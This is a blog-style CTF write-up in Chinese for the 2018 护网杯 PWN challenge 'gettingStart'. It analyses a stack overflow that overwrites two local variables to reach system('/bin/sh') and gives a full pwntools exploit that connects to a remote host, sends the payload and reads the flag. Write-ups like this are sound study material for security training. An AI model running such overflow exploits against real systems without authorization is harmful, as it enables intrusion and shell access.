Fork me on GitHub

2018护网杯PWN题解

这次的护网杯大佬云集,可能很多企业是冲着工业互联网这个招牌去的但是初赛却是学生们玩的比较多的传统CTF。。

gettingStart

题目下载地址

第一道PWN题还是很简单的,写到脸上的溢出,先看一下文件信息

64位的可执行ELF文件,且开启了NX和CANARY,放到IDA里看一下:

可以在main函数里找到一些关键信息,程序的逻辑是

关键点在于这个if语句如果想执行else语句中的system("/bin/sh");,需要使得v7的值为0x7FFFFFFFFFFFFFFFLLv8 的值为0.1

v7的值已经满足条件,但是v8的值需要我们修改,然后看到这里有一个read函数,此函数会从输入缓冲区中读取28H个字节到buf中,但根据如下信息可知

1
2
3
4
5
6
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v5; // [rsp+18h] [rbp-28h]
__int64 v6; // [rsp+20h] [rbp-20h]
__int64 v7; // [rsp+28h] [rbp-18h]
double v8; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]

实际的buf的空间只有30H-28H=8H的大小,显然会溢出40-8=32个字节的大小,而我们的目的时修改v8的值,v8的值位于[rbp-10h]~[rbp-8h]内,因此我们需要构造30H-18H=24个字节的任意字符串填充v7前面的栈空间,并用0x7FFFFFFFFFFFFFFFLL填充v7,并用0.1在栈中的存储形式来填充v8即可达成条件从而执行/bin/sh我们需要搞清楚double型的0.1在内存中时如何存储的,参考链接,如果不知道其实可以直接自己写一个c程序然后调试一下得到,比如如下c代码

1
2
3
4
5
6
7
8
9
#include<stdio.h>
int main()
{
double v1=0.1;
double v2;
printf("input\n");
scanf("%f",&v2);
printf("%f,%f",v1,v2);
}

gcc编译一下再用gdb观察栈中的数据变化即可得到,题目所给的程序的data段中也可以直接找到

因此可得payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#p=process("./task_gettingStart_ktQeERc")
p=remote("117.78.26.12",32117)
payload=""
payload+="A"*24+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
cmd="cat flag\n"

print p.recv()
print payload
p.send(payload)
print p.recv()
p.send(cmd)
p.interactive()
print p.recv()

得到flag

1
flag{04e4ed5f40fa2c717f7a70ba74be2887}

shoppingCart

题目下载地址

to be done

您的支持是我最大的动力🍉